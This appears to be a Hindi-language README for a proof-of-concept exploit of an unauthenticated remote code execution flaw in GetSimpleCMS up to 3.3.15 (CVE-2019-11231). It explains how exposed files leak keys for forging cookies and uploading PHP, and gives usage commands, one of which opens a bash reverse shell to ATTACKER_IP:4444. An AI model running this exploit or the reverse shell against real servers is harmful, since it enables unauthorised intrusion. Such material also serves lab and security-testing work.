GetSimpleCMS CVE-2019-11231 RCE शोषण

GetSimpleCMS ≤ 3.3.15 के लिए अप्रमाणित दूरस्थ कोड निष्पादन शोषण

भेद्यता

GetSimpleCMS संवेदनशील फ़ाइलों को सार्वजनिक रूप से उजागर करता है (/data/other/authorization.xml, /data/users/) जिससे हमलावर:

API कुंजियाँ और उपयोगकर्ता नाम लीक कर सकते हैं
प्रमाणीकरण कुकीज़ बना सकते हैं
CSRF टोकन प्राप्त कर सकते हैं
मनमाना PHP कोड अपलोड और निष्पादित कर सकते हैं

CVSS स्कोर: 9.8 (गंभीर)

उपयोग

pip install -r requirements.txt
python3 exploit.py http://target.com "id"
python3 exploit.py gettingstarted.htb "whoami"
python3 /tmp/test.py gettingstarted.htb "/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"

CVE-2019-11231-PoC

सबसे लोकप्रिय

फ़ाइलें

अस्वीकरण

संदर्भ